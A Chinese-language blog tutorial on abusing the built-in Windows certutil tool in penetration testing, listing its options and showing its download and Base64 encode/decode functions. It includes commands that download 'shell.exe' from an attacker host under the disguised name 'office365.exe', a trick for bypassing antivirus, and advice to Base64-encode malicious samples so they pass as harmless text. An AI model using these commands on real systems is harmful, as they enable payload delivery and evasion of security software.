certutil工具的使用介紹

nebulapioneer發表於2024-07-12

一、Certutil 介紹

Windows有一個名為CertUtil的內建程式,可用於在Windows中管理證書。使用此程式可以在Windows中安裝,備份,刪除,管理和執行與證書和證書儲存相關的各種功能。
CertUtil的一個特性是能夠從遠端URL下載證書或任何其他檔案,因為certutil是windows自帶的exe。
使用語法 :
"certutil.exe -urlcache -split -f [URL] output.file"

-f
覆蓋現有檔案。
有值的命令列選項。後面跟要下載的檔案 url。
-split
儲存到檔案。
無值的命令列選項。加了的話就可以下載到當前路徑,不加就下載到了預設路徑。
-URLCache
顯示或刪除URL快取條目。
無值的命令列選項。
但是此合法Windows服務現已被廣泛濫用於惡意用途。

滲透中主要利用其 下載、編碼、解碼、替代資料流 等功能。

這裡我首先在命令列用certutil -?檢視一下certutil所有的引數,接下來就總結一下最常用的幾個關於certutil在內網滲透中的應用。

點選檢視程式碼

C:\Users\123456\Desktop>certutil -?

動詞:
  -dump             -- 轉儲配置資訊或檔案
  -dumpPFX          -- 轉儲 PFX 結構
  -asn              -- 分析 ASN.1 檔案

  -decodehex        -- 解碼十六進位制編碼的檔案
  -decode           -- 解碼 Base64 編碼的檔案
  -encode           -- 將檔案編碼為 Base64

  -deny             -- 拒絕掛起的申請
  -resubmit         -- 重新提交掛起的申請
  -setattributes    -- 為掛起申請設定屬性
  -setextension     -- 為掛起申請設定擴充套件
  -revoke           -- 吊銷證書
  -isvalid          -- 顯示當前證書部署

  -getconfig        -- 獲取預設配置字串
  -ping             -- Ping Active Directory 證書服務申請介面
  -pingadmin        -- Ping Active Directory 證書服務管理介面
  -CAInfo           -- 顯示 CA 資訊
  -ca.cert          -- 檢索 CA 的證書
  -ca.chain         -- 檢索 CA 的證書鏈
  -GetCRL           -- 獲取 CRL
  -CRL              -- 釋出新的 CRL [或僅增量 CRL]
  -shutdown         -- 關閉 Active Directory 證書服務

  -installCert      -- 安裝證書頒發機構證書
  -renewCert        -- 續訂證書頒發機構證書

  -schema           -- 轉儲證書架構
  -view             -- 轉儲證書檢視
  -db               -- 轉儲原始資料庫
  -deleterow        -- 刪除伺服器資料庫行

  -backup           -- 備份 Active Directory 證書服務
  -backupDB         -- 備份 Active Directory 證書服務資料庫
  -backupKey        -- 備份 Active Directory 證書服務證書和私鑰
  -restore          -- 還原 Active Directory 證書服務
  -restoreDB        -- 還原 Active Directory 證書服務資料庫
  -restoreKey       -- 還原 Active Directory 證書服務證書和私鑰
  -importPFX        -- 匯入證書和私鑰
  -dynamicfilelist  -- 顯示動態檔案列表
  -databaselocations -- 顯示資料庫位置
  -hashfile         -- 透過檔案生成並顯示加密雜湊

  -store            -- 轉儲證書儲存
  -enumstore        -- 列舉證書儲存
  -addstore         -- 將證書新增到儲存
  -delstore         -- 從儲存刪除證書
  -verifystore      -- 驗證儲存中的證書
  -repairstore      -- 修復金鑰關聯,或者更新證書屬性或金鑰安全描述符
  -viewstore        -- 轉儲證書儲存
  -viewdelstore     -- 從儲存刪除證書
  -UI               -- 呼叫 CryptUI
  -attest           -- 驗證金鑰證明請求

  -dsPublish        -- 將證書或 CRL 釋出到 Active Directory

  -ADTemplate       -- 顯示 AD 模板
  -Template         -- 顯示註冊策略模板
  -TemplateCAs      -- 顯示模板的 CA
  -CATemplates      -- 顯示 CA 的模板
  -SetCASites       -- 管理 CA 的站點名稱
  -enrollmentServerURL -- 顯示、新增或刪除與 CA 關聯的註冊伺服器 URL
  -ADCA             -- 顯示 AD CA
  -CA               -- 顯示註冊策略 CA
  -Policy           -- 顯示註冊策略
  -PolicyCache      -- 顯示或刪除註冊策略快取專案
  -CredStore        -- 顯示、新增或刪除憑據儲存專案
  -InstallDefaultTemplates -- 安裝預設的證書模板
  -URLCache         -- 顯示或刪除 URL 快取專案
  -pulse            -- 以脈衝方式執行自動註冊事件或 NGC 任務
  -MachineInfo      -- 顯示 Active Directory 計算機物件資訊
  -DCInfo           -- 顯示域控制器資訊
  -EntInfo          -- 顯示企業資訊
  -TCAInfo          -- 顯示 CA 資訊
  -SCInfo           -- 顯示智慧卡資訊

  -SCRoots          -- 管理智慧卡根證書

  -DeleteHelloContainer -- 刪除 Hello 登入容器。
     ** 在使用此選項後, 使用者需要登出才能完成。**
  -verifykeys       -- 驗證公/私鑰集
  -verify           -- 驗證證書,CRL 或鏈
  -verifyCTL        -- 驗證 AuthRoot 或不允許的證書 CTL
  -syncWithWU       -- 與 Windows 更新同步
  -generateSSTFromWU -- 透過 Windows 更新生成 SST
  -generatePinRulesCTL -- 生成捆綁規則 CTL
  -downloadOcsp     -- 下載 OCSP 響應並寫入目錄
  -generateHpkpHeader -- 使用指定檔案或目錄中的證書生成 HPKP 頭
  -flushCache       -- 重新整理選定程序(例如 lsass.exe)中的指定快取
  -addEccCurve      -- 新增 ECC 曲線
  -deleteEccCurve   -- 刪除 ECC 曲線
  -displayEccCurve  -- 顯示 ECC 曲線
  -sign             -- 重新簽名 CRL 或證書

  -vroot            -- 建立/刪除 Web 虛擬根和檔案共享
  -vocsproot        -- 建立/刪除 OCSP Web Proxy 的 Web 虛擬根
  -addEnrollmentServer -- 新增註冊伺服器應用程式
  -deleteEnrollmentServer -- 刪除註冊伺服器應用程式
  -addPolicyServer  -- 新增策略伺服器應用程式
  -deletePolicyServer -- 刪除策略伺服器應用程式
  -oid              -- 顯示 ObjectId 或設定顯示名稱
  -error            -- 顯示錯誤程式碼訊息文字
  -getreg           -- 顯示登錄檔值
  -setreg           -- 設定登錄檔值
  -delreg           -- 刪除登錄檔值

  -ImportKMS        -- 為金鑰存檔匯入使用者金鑰和證書到伺服器資料庫
  -ImportCert       -- 將證書檔案匯入資料庫
  -GetKey           -- 檢索存檔的私鑰恢復 Blob,生成恢復指令碼 或恢復存檔的金鑰
  -RecoverKey       -- 恢復存檔的私鑰
  -MergePFX         -- 合併 PFX 檔案
  -ConvertEPF       -- 將 PFX 檔案轉換為 EPF 檔案

  -add-chain        -- (-AddChain) 新增證書鏈
  -add-pre-chain    -- (-AddPrechain) 新增預植證書鏈
  -get-sth          -- (-GetSTH) 獲取簽名樹頭
  -get-sth-consistency -- (-GetSTHConsistency) 獲取簽名樹頭更改
  -get-proof-by-hash -- (-GetProofByHash) 獲取雜湊證明
  -get-entries      -- (-GetEntries) 獲取項
  -get-roots        -- (-GetRoots) 獲取根
  -get-entry-and-proof -- (-GetEntryAndProof) 獲取項和證明
  -VerifyCT         -- 驗證證書 SCT
  -?                -- 顯示該用法訊息


CertUtil -?              -- 顯示動詞列表(命名列表)
CertUtil -dump -?        -- 顯示 "dump" 動詞的幫助文字
CertUtil -v -?           -- 顯示所有動詞的所有幫助文字

CertUtil: -? 命令成功完成。

二、常用功能介紹

2.1 下載遠端檔案

在 cmd 中將檔案從網址上下載下來,儲存為123.txt
C:\Users\12345\Desktop>certutil.exe -urlcache -split -f "https://hackers.home/content.txt" 123.txt

如果超時沒有操作的話就會顯示拒絕訪問
這裡有兩種方法對殺軟進行certutil下載繞過,本質都是執行兩次certutil
第一種方法是先執行一個單獨的certutil,然後再執行下載exe的命令,可以看到這裡已經能夠成功下載
certutil & certutil -urlcache -split -f http://192.168.206.130/shell.exe office365.exe certutil | certutil -urlcache -split -f http://192.168.206.130/shell.exe office365.exe

2.2 將本地程式搭建為http伺服器

將本地可執行程式,搭建為一個http伺服器,埠為8000,並執行該服務

http://192.168.206.130:8000

C:\Users\12345\Desktop>123.exe -python -m http.server 8000
C:\Users\12345\Desktop>python -m http.server 8000
certutil -urlcache -split -f http://192.168.206.130:8000/123.exe

2.3 使用CertUtil + Base64來繞過安全軟體

Certutil 包含一個編碼引數(編碼),這有助於在 Base64 中編碼檔案的內容。可以使用 certutil 對可執行檔案進行編碼,然後傳輸編碼後的資料,在接收機上對其進行解碼。
常用與sql注入,對任意檔案進行Base64編碼,使惡意程式碼樣本看起來像是無害的文字檔案,然後使用CertUtil.exe下載後對其進行解碼。下載了文字檔案使用“Certutil.exe -decode”命令將Base64編碼檔案解碼為可執行檔案。

將123.exe編碼為123.txt
C:\Users\12345\Desktop>certutil.exe -encode 123.exe 123.txt

將123.txt解碼為123.exe
C:\Users\12345\Desktop>certutil.exe -decode 123.txt 123.exe

更多詳解參考--->
https://mrwq.github.io/aggregate-paper/butian/certutil詳解/

相關文章